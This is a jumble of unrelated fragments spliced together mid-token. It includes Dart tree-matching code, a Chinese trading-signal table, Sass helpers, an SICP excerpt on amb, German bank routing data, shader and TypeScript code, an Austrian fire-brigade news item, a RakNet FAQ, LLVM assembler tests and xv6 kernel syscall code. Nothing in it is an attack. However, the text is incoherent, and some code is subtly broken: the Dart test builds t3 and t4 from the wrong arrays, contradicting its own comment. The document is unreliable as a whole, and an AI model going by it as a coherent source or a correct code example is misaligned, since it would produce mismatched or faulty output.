}import '../../utils/assorted_methods.dart';
import '../../utils/tree_node.dart';

bool containsTree(TreeNode t1, TreeNode t2) {
  if (t2 == null) {
    return true; // The empty tree is a subtree of every tree.
  } else {
    return subTree(t1, t2);
  }
}

/*
 * Checks if the binary tree rooted at r1 contains the binary
 * tree rooted at r2 as a subtree somewhere within it.
 */
bool subTree(TreeNode r1, TreeNode r2) {
  if (r1 == null) {
    return false; // big tree empty & subtree still not found.
  }

  if (r1.data == r2.data) {
    if (matchTree(r1, r2)) {
      return true;
    }
  }

  return (subTree(r1.left, r2) || subTree(r1.right, r2));
}

/*
 * Checks if the binary tree rooted at r1 contains the
 * binary tree rooted at r2 as a subtree starting at r1.
 */
bool matchTree(TreeNode r1, TreeNode r2) {
  if (r2 == null && r1 == null) {
    return true; // nothing left in the subtree
  }

  if (r1 == null || r2 == null) {
    return false; // big tree empty & subtree still not found
  }

  if (r1.data != r2.data) {
    return false; // data doesn't match
  }

  return (matchTree(r1.left, r2.left) && matchTree(r1.right, r2.right));
}

void main() {
  // t2 is a subtree of t1
  List<int> array1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13];
  List<int> array2 = [2, 4, 5, 8, 9, 10, 11];

  TreeNode t1 = createTreeFromArray(array1);
  TreeNode t2 = createTreeFromArray(array2);

  if (containsTree(t1, t2)) {
    print("t2 is a subtree of t1");
  } else {
    print("t2 is not a subtree of t1");
  }

  // t4 is not a subtree of t3
  List<int> array3 = [1, 2, 3];
  TreeNode t3 = createTreeFromArray(array1);
  TreeNode t4 = createTreeFromArray(array2);

  if (containsTree(t3, t4)) {
    print("t4 is a subtree of t3");
  } else {
    print("t4 is not a subtree of t3");
  }
}import '../../utils/tree_node.dart';

class Result {
  TreeNode node;
  bool isAncestor;
  Result(this.node, this.isAncestor);
}

Result commonAncestorHelper(TreeNode root, TreeNode p, TreeNode q) {
  if (root == null) {
    return new Result(


| 出现单根或连续极端K线后，K线变短或震荡加剧        |
>
>    * **结合关键位置**
>
>      | **关键位置的作用** | **趋势延续**                            | **趋势衰竭**                                      |
>      | ------------------ | --------------------------------------- | ------------------------------------------------- |
>      | **支撑与阻力**     | 突破关键阻力/支撑后，价格延续原方向运行 | 接近关键阻力/支撑后未突破，或突破后回到之前的区间 |
>      | **斐波那契回调位** | 突破关键点位后，动能继续增强            | 接近关键点位未突破，或突破后回到之前的区间        |
>
>    * **结合图表结构**
>
>      | 图表结构       | 趋势延续                                                     | 趋势衰竭                                   |
>      | -------------- | ------------------------------------------------------------ | ------------------------------------------ |
>      | **高低点变化** | 上涨趋势中，高点和低点不断抬升
下跌趋势中，低点和高点不断下降 | 高点和低点开始趋于平稳或反向               |
>      | **通道走势**   | 价格稳步运行在趋势通道中，无明显偏离                         | 价格偏离通道上轨或下轨，出现假突破或假跌破 |
>
> 7. 动能衰竭与反转的关系是什么？如何通过动能变化预判趋势反转的可能性？
>
>    | **信号类型** | 动能衰竭                                                     | 反转                                                         |
>    | ------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
>    | **K线形态**  | 实体变短，影线变长；
连续几根趋势K线之间的波动幅度减小  | 出现反转K线组合（如吞没形态、双针探顶/探底、反转锤子线等）   |
>    | **成交量**   | 成交量逐渐减少                                               | 突然放量，显示对手方力量增强（如上涨趋势中出现放量阴线）     |
>    | **关键价位** | 接近支撑/阻力位，多次试探未果；
突破后价格迅速回落（假突破） | 突破支撑/阻力位，确认方向改变
（如上升趋势中跌破前低点） |
>    | **高低点**   | 高点抬升幅度或低点下降幅度逐渐变小；高低点趋于平稳           | 高点和低点的排列顺序反转（如上涨趋势转为高点降低、低点也降低的


slice($value, 1, 1);
  @if char-is-int($char) {
    @return true;
  }
  @if $char == '-' and string.length($value) >= 2 {
    $char: string.slice($value, 2, 2);
    @if char-is-int($char) {
      @return true;
    }
  }
  @return false;
}

/// Fonction de transformation d'une string en nombre intégral
/// @access public
/// @param {String} $value - le nombre en chaîne de caractères
@function str-to-num($value) {
  @if meta.type-of($value) != string {
    @return $value;
  }
  $length: str-length($value);
  $int: ();
  $float: ();
  $floating: false;
  $neg: false;

  @for $i from 1 through $length {
    $n: string.slice($value, $i, $i);

    @if $n == '.' {
      $floating: true;
    }
    @else if $n == '-' {
      $neg: true;
    }
    @else {
      @if char-is-int($n) {
        @if $floating {
          $float: append($float, char-to-int($n));
        }
        @else {
          $int: append($int, char-to-int($n));
        }
      }
    }
  }

  $result: 0;

  $length: length($int);
  @if $length > 0 {
    @for $i from 1 through $length {
      $result: $result + (nth($int, $i) * math.pow(10, $length - $i));
    }
  }

  $length: length($float);
  @if $length > 0 {
    @for $i from 1 through $length {
      $result: $result + math.div(nth($float, $i), math.pow(10, $i));
    }
  }

  @if $neg {
    $result: -$result;
  }

  @if '#{$result}' == $value {
    @return $result;
  }

  $unit: string.slice($value, string.length('#{$result}' + 1));

  $units: ('v': 1v, 'w': 1w, 'px': 1px, 'cm': 1cm, 'mm': 1mm, '%': 1%, 'ch': 1ch, 'in': 1in, 'em': 1em, 'rem': 1rem, 'pt': 1pt, 'pc': 1pc, 'ex': 1ex, 'vw': 1vw, 'vh': 1vh, 'vmin': 1vmin, 'vmax': 1vmax, 'deg': 1deg, 'turn': 1turn, 'rad': 1rad, 'grad': 1grad, 's': 1s, 'ms': 1ms, 'Hz': 1Hz, 'kHz': 1kHz, 'dppx': 1dppx, 'dpcm': 1dpcm, 'dpi': 1dpi);

  @if map.has-key($units, $unit) {
    @return $result * map.get($units, $unit);
  }

  @return $result;
}

/// Remplacement dans une chaine de caractères
/// @access public
/// @param {String} $haystack - chaine de caractère où chercher
/// @param {String} $needle - élément à chercher
/// @param {String} $content - élément de remplacement
/// @return {String} la chaîne de caractères transformée
@function str-replace($haystack, $needle, $content, $start: 1) {
  $chunks: str-split($haystack, $needle);
  $result: str-join($chunks, $content);
  @return $result;
}

/// Découpage d'une chaine de caractères avec un séparateur particulier
/// @access public
/// @param {String} $string - chaine de caractère à découper
/// @param {String} $separator - séparateur
@function str-split($haystack, $needle:',', $separator: comma) {
  @if type-of


expression

<tt>(list (amb 1 2 3) (amb 'a 'b))

</tt>

can have six possible values:

<tt>(1 a) </tt>	<tt>(1 b) </tt>	<tt>(2 a) </tt>	<tt>(2 b) </tt>	<tt>(3 a) </tt>	<tt>(3 b)
</tt>

<tt>Amb</tt> with a single choice produces an ordinary (single) value.

<tt>Amb</tt> with no choices -- the expression <tt>(amb)</tt> -- is an
expression with no acceptable values.  Operationally, we can think of
<tt>(amb)</tt> as an expression that when evaluated causes the
computation to ``fail'': The computation aborts and no value is
produced.  Using this idea, we can express the requirement that a
particular predicate expression <tt>p</tt> must be true as follows:

<tt>(define (require p)

  (if (not p) (amb)))

</tt>

With <tt>amb</tt> and <tt>require</tt>, we can implement the <tt>an-element-of</tt> procedure used above:

<tt>(define (an-element-of items)

  (require (not (null? items)))

  (amb (car items) (an-element-of (cdr items))))

</tt>

<tt>An-element-of</tt> fails if the list is empty.  Otherwise it
ambiguously returns either the first element of the list or an element
chosen from the rest of the list.

We can also express infinite ranges of choices.  The following
procedure potentially returns any integer greater than or equal to
some given n:

<tt>(define (an-integer-starting-from n)

  (amb n (an-integer-starting-from (+ n 1))))

</tt>

This is like the stream procedure <tt>integers-starting-from</tt>
described in section 3.5.2, but with an important
difference: The stream procedure returns an object that represents the
sequence of all integers beginning with n, whereas the <tt>amb</tt>
procedure returns a single integer.44

Abstractly, we can imagine that evaluating an <tt>amb</tt> expression
causes time to split into branches, where the computation continues on
each branch with one of the possible values of the expression.  We say
that <tt>amb</tt> represents a nondeterministic choice point.
If we had a machine with a sufficient number of processors that could
be dynamically allocated, we could implement the search in a
straightforward way.  Execution would proceed as in a sequential
machine, until an <tt>amb</tt> expression is encountered


    "Essen",
    "DRESDEFFI17",
    "09",
  ],
  36240045: [
    "Commerzbank",
    "45403",
    "Mülheim an der Ruhr",
    "COBADEFFXXX",
    "13",
  ],
  36250000: [
    "Sparkasse Mülheim an der Ruhr",
    "45466",
    "Mülheim an der Ruhr",
    "SPMHDE3EXXX",
    "06",
  ],
  36270024: [
    "Deutsche Bank",
    "45404",
    "Mülheim an der Ruhr",
    "DEUTDEDB362",
    "63",
  ],
  36270048: [
    "Deutsche Bank",
    "45404",
    "Mülheim an der Ruhr",
    "DEUTDEDE362",
    "63",
  ],
  36280071: [
    "Commerzbank vormals Dresdner Bank",
    "45404",
    "Mülheim an der Ruhr",
    "DRESDEFF362",
    "76",
  ],
  36540046: [
    "Commerzbank",
    "46003",
    "Oberhausen",
    "COBADEFFXXX",
    "13",
  ],
  36550000: [
    "Stadtsparkasse Oberhausen",
    "46045",
    "Oberhausen",
    "WELADED1OBH",
    "00",
  ],
  36570024: [
    "Deutsche Bank",
    "46003",
    "Oberhausen",
    "DEUTDEDB365",
    "63",
  ],
  36570049: [
    "Deutsche Bank",
    "46003",
    "Oberhausen",
    "DEUTDEDE365",
    "63",
  ],
  36580072: [
    "Commerzbank vormals Dresdner Bank",
    "46003",
    "Oberhausen",
    "DRESDEFF365",
    "76",
  ],
  37000000: [
    "Bundesbank",
    "50463",
    "Köln",
    "MARKDEF1370",
    "09",
  ],
  37010050: [
    "Postbank Ndl der Deutsche Bank",
    "51222",
    "Köln",
    "PBNKDEFFXXX",
    "24",
  ],
  37010600: [
    "BNP Paribas Niederlassung Deutschland",
    "60327",
    "Frankfurt am Main",
    "BNPADEFFXXX",
    "09",
  ],
  37010699: [
    "BNP Paribas Niederlassung Deutschland",
    "60327",
    "Frankfurt am Main",
    "BNPADEFFXXX",
    "09",
  ],
  37011000: [
    "Postbank Ndl der Deutsche Bank",
    "51149",
    "Köln",
    "PBNKDEFFXXX",
    "24",
  ],
  37019000: [
    "bunq Niederlassung Deutschland",
    "50667",
    "Köln",
    "BUNQDE82XXX",
    "09",
  ],
  37020090: [
    "UniCredit Bank - HypoVereinsbank",
    "50443",
    "Köln",
    "HYVEDEMM429",
    "99",
  ],
  37020200: [
    "Fondsdepot Bank",
    "95030",
    "Hof",
    "AXABDE31XXX",
    "09",
  ],
  37020400: [
    "TOYOTA Kreditbank",
    "50858",
    "Köln",
    "


 renderFragmentShader = (maxTextures: number) => `
#version 300 es
precision highp float;

in vec2 vTextureCoords;
in vec4 vColor;
in vec4 vColorMul;
in vec4 vColorAdd;
flat in uvec4 vMode;
out vec4 fragColor;

uniform sampler2D uTextures[${maxTextures}];

vec4 sampleTex(int id, vec2 coords) {
  vec4 color;
  ${new Array(maxTextures)
    .fill(0)
    .map(
      (_, i) =>
        `
      if (id == ${i}) {
        color = texture(uTextures[${i}], coords);
      }
      `
    )
    .join("\n")}
  return color;
}

vec4 getTexel(int id, ivec2 coords) {
  vec4 color;
  ${new Array(maxTextures)
    .fill(0)
    .map(
      (_, i) =>
        `
      if (id == ${i}) {
        color = texelFetch(uTextures[${i}], coords, 0);
      }
      `
    )
    .join("\n")}
  return color;
}

void main(void) {
    int fillMode = int(vMode.x) % 4;
    int texId = int(vMode.x) / 4;
    int maskMode = int(vMode.y) % 4;
    int maskTexId = int(vMode.y) / 4;
    int maskID = int(vMode.z);

    vec2 coords;
    if (fillMode == 1) {
        coords = vec2(vTextureCoords.x, 0.0);
    } else if (fillMode == 2) {
        coords = vec2(length(vTextureCoords * 2.0 - 1.0), 0.0);
    } else {
        coords = vTextureCoords;
    }

    vec4 tex = sampleTex(texId, coords);
    vec4 color = (tex * vColor * vec4(vColorMul.rgb, 1.0)) * vColorMul.a;
    color += vColorAdd * color.a;

    if (maskMode == 1) {
      color = vec4(float(maskID) / 255.0, 0.0, 0.0, 1.0);
    } else if (maskMode == 2) {
      vec4 mask = getTexel(maskTexId, ivec2(gl_FragCoord.xy));
      if (maskID == int(mask.r * 255.0)) {
        color = color * mask.a;
      } else {
        color = vec4(0.0);
      }
    }

    color = trunc(color * 255.0) / 255.0;
    fragColor = color;
}
`;

namespace app {
    'use strict';
    /**
     *
     *
     * @class ClubListController
     */
    class ClubListController {
        /**
         * Is an array of clubs, but we store it as object so we can
         *
         * @type {*}
         */
        public clubs: Map<Club> = {};
        // @ngInject
        /**
         * Creates an instance of ClubListController.
         *
         * @param {angular.ILogService} $log
         * @param {IClubService} clubService
         */
        constructor(
            private $log: angular.ILogService,
            private clubService: IClubService
        ) {
            let me: ClubListController = this;
            $log.debug('ClubListController initialized');
            clubService.getClubs().then(clubs => {
                me.clubs = clubs;
            });

        }

    }

    angular.module('app').controller('ClubListController', ClubListController);
}
import { Observable } from '../Observable';
import { Execution } from '../Executor';
import { expect } from 'chai';
import 'mocha';

describe('fork', () => {
	it('s


/** GraphQL client */
export class ElectronGraphqlClient {
    /** Electron GraphQL Link options */
    protected options: ElectronIpcLinkOptions;
    /** Response event handlers dictionary */
    protected responseHandlers: {
        [uuid: string]: (data: ExecutionResult) => void;
    };
    protected isStartedInternal: boolean;
    /** @constructor */
    public constructor(options: Partial<ElectronIpcLinkOptions> = {}) {
        this.options = {
            requestEventType: APOLLO_REQUEST_EVENT_TYPE,
            responseEventType: APOLLO_RESPONSE_EVENT_TYPE,
            ...options,
        };
        this.responseHandlers = {};
        this.isStartedInternal = false;
    }
    /** Start listening */
    public start(): void {
        ipcRenderer.on(this.options.responseEventType, this.onResponse);
        this.isStartedInternal = true;
    }
    /** Stop listening */
    public stop(): void {
        ipcRenderer.removeListener(this.options.responseEventType, this.onResponse);
        this.isStartedInternal = false;
    }
    /** Read-only flag which marks that Electron GraphQL client was started */
    public get isStarted(): boolean {
        return this.isStartedInternal;
    }
    /** Fetch data */
    public fetch(body: Partial<GraphQLRequest>): Promise<ExecutionResult> {
        const uuid: string = v4();
        return new Promise<any>(resolve => {
            this.responseHandlers[uuid] = response => resolve(response);
            ipcRenderer.send(this.options.requestEventType, uuid, body);
        });
    }
    /** Common response event handler */
    @autobind
    protected onResponse(event: any, uuid: string, data: ExecutionResult): void {
        if (!isNil(this.responseHandlers[uuid])) {
            this.responseHandlers[uuid](data);
            delete this.responseHandlers[uuid];
        }
    }
}
import * as Code from "@hapi/code";
import * as Lab from "@hapi/lab";

import { RelativeUrl } from "src/server/plugins/engine/feedback";

const { expect } = Code;
const lab = Lab.script();
exports.lab = lab;
const { suite, describe, test } = lab;

suite("relative url", () => {
  describe("constructor", () => {
    test("should throw error if the provided url is not relative", () => {
      expect(() => new RelativeUrl("http://www.badgers.com")).to.throw(Error);
    });

    test("should throw error if the provided url is not relative when using the internal cheat url", () => {
      expect(() => new RelativeUrl("http://www.fishing.com")).to.throw(Error);
    });

    test("should not throw an error when using a relative url", () => {
      const underTest = new RelativeUrl("bob");
      expect(underTest.toString()).to.equal("bob");
    });

    test("should not throw an error when using a relative url with a leading /", () => {
      const underTest = new RelativeUrl("/bob");
      expect(underTest.toString()).to.equal("/bob");
    });
  });

  describe("setParam", () => {
    test("should add a first param", () => {
      const underTest = new RelativeUrl("bob");
      underTest.setParam("myParam", "myBadger");
      expect(underTest.toString()).to.equal("bob?myParam=myBadger");


ulseelsorger Monsignore Dr. Markus Plöbst vorgenommen.

Würdigung der ÖBFV-Kooperation

Feuerwehrpräsident Albert Kern bedankte sich namens der österreichischen Feuerwehren für die Zusammenarbeit bei der Entwicklung des Tunneltrainingszentrums. Bereits in dieser Woche wird das erste offizielle Training stattfinden. Im Rahmen der Eröffnung verlieh FPräs Kern die Florianiplakette des ÖBFV in Bronze an Rektor Wilfried Eichlseder, Vizerektorin Martha Mühlburger und ZaB-Departmentleiter Robert Galler.

<a href="https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1030x687.jpg" data-srcset="https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1030x687.jpg 1030w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-300x200.jpg 300w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-768x512.jpg 768w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1536x1024.jpg 1536w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1500x1000.jpg 1500w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-705x470.jpg 705w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-450x300.jpg 450w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet.jpg 1600w" data-sizes="(max-width: 1030px) 100vw, 1030px" class='avia_image' ><img width="1030" height="687" class='wp-image-75029 avia-img-lazy-loading-not-75029 avia_image' src="https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1030x687.jpg" alt='' title='DSC_0028_bearbeitet'  itemprop="thumbnailUrl" srcset="https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-1030x687.jpg 1030w, https://www.bundesfeuerwehrverband.at/wp-content/uploads/2021/10/DSC_0028_bearbeitet-300x200.jpg 300w, https://www.bundesfeuerw


hurry, use RakPeer::ApplyNetworkSimulator. But I recommend
      http://www.netlimiter.com/ instead.

    There is also Network Emulator Toolkit (NEWT) from http://blog.mrpol.nl/2010/01/14/network-emulator-toolkit/ or http://blogs.msdn.com/b/lkruger/archive/2009/06/08/introducing-true-network-emulation-in-visual-studio-2010.aspx

How do I detect if I have exceeded the available bandwidth of the connection?

    // Returns true if RakNet's output queue is increasing over time

    bool PushingPastCapacity(RakNet::RakPeerInterface *rakPeer, RakNet::Time currentTime, SystemAddress remoteSystem) {

static double bufferedBytesLastTick=0.0;

static RakNet::Time whenStartedPushingPastCapacity=currentTime;

RakNetStatistics rns;

rakPeer->GetStatistics(remoteSystem, &rns);

double bufferedBytesThisTick=rns.bytesInSendBuffer[IMMEDIATE_PRIORITY]+rns.bytesInSendBuffer[HIGH_PRIORITY]+rns.bytesInSendBuffer[MEDIUM_PRIORITY]+rns.bytesInSendBuffer[LOW_PRIORITY];

if ( bufferedBytesThisTick > bufferedBytesLastTick) {

if ( currentTime-whenStartedPushingPastCapacity>500 ) {

bufferedBytesLastTick=bufferedBytesThisTick; return true;

}

}

else {

whenStartedPushingPastCapacity=currentTime;

}

bufferedBytesLastTick=bufferedBytesThisTick;

return false;

}

My data that I write using bitstreams is messed up on the other side.

    Make sure if you write one of the ID_* enumerations you cast it to an (unsigned char). Do not use types that may be different on 64 and 32 bit systems, such as int or long (See NativeTypes.h). Other than that, make sure your read and write calls match.

    My data pointed to by a pointer isn't arriving.

    This is the same problem as when trying to use a default copy constructor with allocated memory.  You can just send pointers if you want, but it will send the pointer variable rather than the data pointed to.  You will need to serialize the contents of pointers yourself.

    How should I deal with firewalls?

    Be sure to specify that your end-users need to open the appropriate ports, or use a port that is probably already open (such as the http port).  One way to reduce tech support calls in this regard is to have your application try connecting a local client to a local server.  If you can't connect after a couple of tries then the user probably has a firewall blocking this. You can message the user in-game that they probably have a firewall that needs to be turned off on whichever port your game uses.

    I get errors from winsock.h such as follows

    C:\Program Files\Micros


((?::[0-9A-Fa-f]{1,4})){7})(\/([1-9]|[1-9][0-9]|1[0-1][0-9]|12[0-8])){0,1}$");
                for (final ip in ips) {
                  if (!ipMatch.hasMatch(ip) && !ipv6Match.hasMatch(ip)) {
                    msg = "${translate("Invalid IP")} $ip";
                    setState(() {
                      isInProgress = false;
                    });
                    return;
                  }
                }
                newWhiteList = ips.join(',');
              }
              if (newWhiteList.trim().isEmpty) {
                newWhiteList = defaultOptionWhitelist;
              }
              await bind.mainSetOption(
                  key: kOptionWhitelist, value: newWhiteList);
              callback?.call();
              close();
            },
          ),
      ],
      onCancel: close,
    );
  });
}

Future<String> changeDirectAccessPort(
    String currentIP, String currentPort) async {
  final controller = TextEditingController(text: currentPort);
  await gFFI.dialogManager.show((setState, close, context) {
    return CustomAlertDialog(
      title: Text(translate("Change Local Port")),
      content: Column(
        crossAxisAlignment: CrossAxisAlignment.start,
        children: [
          const SizedBox(height: 8.0),
          Row(
            children: [
              Expanded(
                child: TextField(
                    maxLines: null,
                    keyboardType: TextInputType.number,
                    decoration: InputDecoration(
                        hintText: '21118',
                        isCollapsed: true,
                        prefix: Text('$currentIP : '),
                        suffix: IconButton(
                            padding: EdgeInsets.zero,
                            icon: const Icon(Icons.clear, size: 16),
                            onPressed: () => controller.clear())),
                    inputFormatters: [
                      FilteringTextInputFormatter.allow(RegExp(
                          r'^([0-9]|[1-9]\d|[1-9]\d{2}|[1-9]\d{3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5])$')),
                    ],
                    controller: controller,
                    autofocus: true),
              ),
            ],
          ),
        ],
      ),
      actions: [
        dialogButton("Cancel", onPressed: close, isOutline: true),
        dialogButton("OK", onPressed: () async {
          await bind.mainSetOption(
              key: kOptionDirectAccessPort, value: controller.text);
          close();
        }),
      ],
      onCancel: close,
    );
  });
  return controller.text;
}

Future<String> changeAutoDisconnectTimeout(String old) async {
  final controller = TextEditingController(text: old);
  await gFFI.dialogManager.show((setState, close, context) {
    return CustomAlertDialog(
      title: Text(translate("Timeout in minutes")),
      content: Column(
        crossAxisAlignment: CrossAxisAlignment.start,
        children: [
          const SizedBox(height: 8.0),
          Row(
            children: [
              Expanded(
                child: TextField(
                    maxLines: null,
                    keyboardType: TextInputType.number,
                    decoration: InputDecoration(
                        hintText: '10',
                        isCollapsed: true,
                        suffix: IconButton(
                            padding: EdgeInsets.zero,
                            icon: const Icon(Icons.clear, size: 16),
                            onPressed: () => controller.clear())),
                    inputFormatters: [
                      FilteringTextInputFormatter.allow(RegExp(


[r8 + 4*rax + 123]
# CHECK: encoding: [0x62,0xd4,0x44,0x07,0x3b,0x4c,0x80,0x7b]
         ccmpa {dfv=of} ecx, dword ptr [r8 + 4*rax + 123]
# CHECK: ccmpa {dfv=of} r9, qword ptr [r8 + 4*rax + 123]
# CHECK: encoding: [0x62,0x54,0xc4,0x07,0x3b,0x4c,0x80,0x7b]
         ccmpa {dfv=of} r9, qword ptr [r8 + 4*rax + 123]
# CHECK: ccmpa {dfv=of} bl, 123
# CHECK: encoding: [0x62,0xf4,0x44,0x07,0x80,0xfb,0x7b]
         ccmpa {dfv=of} bl, 123
# CHECK: ccmpa {dfv=of} dx, 123
# CHECK: encoding: [0x62,0xf4,0x45,0x07,0x83,0xfa,0x7b]
         ccmpa {dfv=of} dx, 123
# CHECK: ccmpa {dfv=of} ecx, 123
# CHECK: encoding: [0x62,0xf4,0x44,0x07,0x83,0xf9,0x7b]
         ccmpa {dfv=of} ecx, 123
# CHECK: ccmpa {dfv=of} r9, 123
# CHECK: encoding: [0x62,0xd4,0xc4,0x07,0x83,0xf9,0x7b]
         ccmpa {dfv=of} r9, 123
# CHECK: ccmpa {dfv=of} dx, 1234
# CHECK: encoding: [0x62,0xf4,0x45,0x07,0x81,0xfa,0xd2,0x04]
         ccmpa {dfv=of} dx, 1234
# CHECK: ccmpa {dfv=of} ecx, 123456
# CHECK: encoding: [0x62,0xf4,0x44,0x07,0x81,0xf9,0x40,0xe2,0x01,0x00]
         ccmpa {dfv=of} ecx, 123456
# CHECK: ccmpa {dfv=of} r9, 123456
# CHECK: encoding: [0x62,0xd4,0xc4,0x07,0x81,0xf9,0x40,0xe2,0x01,0x00]
         ccmpa {dfv=of} r9, 123456
# CHECK: ccmpa {dfv=of} dl, bl
# CHECK: encoding: [0x62,0xf4,0x44,0x07,0x38,0xda]
         ccmpa {dfv=of} dl, bl
# CHECK: ccmpa {dfv=of} ax, dx
# CHECK: encoding: [0x62,0xf4,0x45,0x07,0x39,0xd0]
         ccmpa {dfv=of} ax, dx
# CHECK: ccmpa {dfv=of} edx, ecx
# CHECK: encoding: [0x62,0xf4,0x44,0x07,0x39,0xca]
         ccmpa {dfv=of} edx, ecx
# CHECK: ccmpa {dfv=of} r15, r9
# CHECK: encoding: [0x62,0x54,0xc4,0x07,0x39,0xcf]
         ccmpa {dfv=of} r15, r9
# CHECK: ccmpge {dfv=of} byte ptr [r8 + 4*rax + 123], 123
# CHECK: encoding: [0x62,0xd4,0x44,0x0d,0x80,0x7c,0x80,0x7b,0x7b]
         ccmpge {dfv=of} byte


					tmp.extend(t.outputs)
				a.dep_nodes.extend(tmp)
				a.dep_nodes.sort(key=lambda x: x.abspath())

		# the task objects have changed: clear the signature cache
		for tsk in lst:
			try:
				delattr(tsk, 'cache_sig')
			except AttributeError:
				pass

		return super(fc, self).runnable_status()

class fcprogram(ccroot.link_task):
	"""Links Fortran programs"""
	color = 'YELLOW'
	run_str = '${FC} ${LINKFLAGS} ${FCLNK_SRC_F}${SRC} ${FCLNK_TGT_F}${TGT[0].abspath()} ${RPATH_ST:RPATH} ${FCSTLIB_MARKER} ${FCSTLIBPATH_ST:STLIBPATH} ${FCSTLIB_ST:STLIB} ${FCSHLIB_MARKER} ${FCLIBPATH_ST:LIBPATH} ${FCLIB_ST:LIB} ${LDFLAGS}'
	inst_to = '${BINDIR}'

class fcshlib(fcprogram):
	"""Links Fortran libraries"""
	inst_to = '${LIBDIR}'

class fcstlib(ccroot.stlink_task):
	"""Links Fortran static libraries (uses ar by default)"""
	pass # do not remove the pass statement

class fcprogram_test(fcprogram):
	"""Custom link task to obtain compiler outputs for Fortran configuration tests"""

	def runnable_status(self):
		"""This task is always executed"""
		ret = super(fcprogram_test, self).runnable_status()
		if ret == Task.SKIP_ME:
			ret = Task.RUN_ME
		return ret

	def exec_command(self, cmd, **kw):
		"""Stores the compiler std our/err onto the build context, to bld.out + bld.err"""
		bld = self.generator.bld

		kw['shell'] = isinstance(cmd, str)
		kw['stdout'] = kw['stderr'] = Utils.subprocess.PIPE
		kw['cwd'] = self.get_cwd()
		bld.out = bld.err = ''

		bld.to_log('command: %s\n' % cmd)

		kw['output'] = 0
		try:
			(bld.out, bld.err) = bld.cmd_and_log(cmd, **kw)
		except Exception:
			return -1

		if bld.out:
			bld.to_log('out: %s\n' % bld.out)
		if bld.err:
			bld.to_log('err: %s\n' % bld.err)


#include "types.h"
#include "param.h"
#include "memlayout.h"
#include "riscv.h"
#include "spinlock.h"
#include "proc.h"
#include "syscall.h"
#include "defs.h"

// Fetch the uint64 at addr from the current process.
int
fetchaddr(uint64 addr, uint64 *ip)
{
  struct proc *p = myproc();
  if(addr >= p->sz || addr+sizeof(uint64) > p->sz) // both tests needed, in case of overflow
    return -1;
  if(copyin(p->pagetable, (char *)ip, addr, sizeof(*ip)) != 0)
    return -1;
  return 0;
}

// Fetch the nul-terminated string at addr from the current process.
// Returns length of string, not including nul, or -1 for error.
int
fetchstr(uint64 addr, char *buf, int max)
{
  struct proc *p = myproc();
  if(copyinstr(p->pagetable, buf, addr, max) < 0)
    return -1;
  return strlen(buf);
}

static uint64
argraw(int n)
{
  struct proc *p = myproc();
  switch (n) {
  case 0:
    return p->trapframe->a0;
  case 1:
    return p->trapframe->a1;
  case 2:
    return p->trapframe->a2;
  case 3:
    return p->trapframe->a3;
  case 4:
    return p->trapframe->a4;
  case 5:
    return p->trapframe->a5;
  }
  panic("argraw");
  return -1;
}

// Fetch the nth 32-bit system call argument.
void
argint(int n, int *ip)
{
  *ip = argraw(n);
}

// Retrieve an argument as a pointer.
// Doesn't check for legality, since
// copyin/copyout will do that.
void
argaddr(int n, uint64 *ip)
{
  *ip = argraw(n);
}

// Fetch the nth word-sized system call argument as a null-terminated string.
// Copies into buf, at most max.
// Returns string length if OK (including nul), -1 if error.
int
argstr(int n, char *buf, int max)
{
  uint64 addr;
  argaddr(n, &addr);
  return fetchstr(addr, buf, max);
}

// Prototypes for the functions that handle system calls.
extern uint64 sys_fork(void);
extern uint64 sys_exit(void);
extern uint64 sys_wait(void);
extern uint64 sys_pipe(void);
extern uint64 sys_read(void);
extern uint64 sys_kill(void);
extern uint64 sys_exec(void);
extern uint64 sys_fstat(void);
extern uint64 sys_chdir(void);
extern uint64 sys_dup(void);
extern uint64 sys_getpid(void);
extern uint64 sys_sbrk(void);
extern uint64 sys_sleep(void);
extern uint64 sys_uptime(void);
extern uint64 sys_open(void);
extern uint64 sys_write(void);
extern uint64 sys_mknod(void);
extern uint64 sys_unlink(void);
extern uint64 sys_link(void);
extern uint64 sys_mkdir(void);
extern uint64 sys_close(void);

// An array mapping syscall numbers from syscall.h
// to the function that handles the system call.
static uint64 (*syscalls[])(void) = {
[SYS_fork]    sys_fork,
[SYS_exit]    sys_exit,
[SYS_wait]    sys_wait,
[SYS_pipe]    sys_pipe,
[SYS_read]    sys_read,
[SYS_kill]    sys_kill,
[SYS_exec]    sys_exec,
[SYS_fstat]   sys_fstat,
[SYS_chdir]   sys_chdir,
[SYS_dup]     sys_dup,
[SYS_getpid]  sys_getpid,
[SYS_sbrk]    sys_sbrk,
[SYS_sleep]   sys_sleep,
[SYS_uptime]  sys_uptime,
[SYS_open]    sys_open,
[SYS_write]   sys_write,
[SYS_mknod]   sys_mknod,
[SYS_unlink]  sys_unlink,
[SYS_link]    sys_link,
[SYS_mkdir]   sys_mkdir,
[SYS_close]   sys_close,
};

void
syscall(void)
{
  int num;
  struct proc *p = myproc();

  num = p->trapframe->a7;
  if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
    // Use num to lookup the system call function for num, call it,
    // and store its return value in p->trapframe->a0
    p->trapframe->a0 = syscalls[num]();
  } else {
    printf("%d %s: unknown sys call %d\n",
            p->pid, p->name, num);
    p->trapframe->a0 = -1;
  }
}


dex(INVESTOR, 0);
    uint256 tokenId2 = IILOPool(iloPool).tokenOfOwnerByIndex(INVESTOR_2, 0);
    IUniswapV3Pool uniV3Pool = IUniswapV3Pool(projectId);
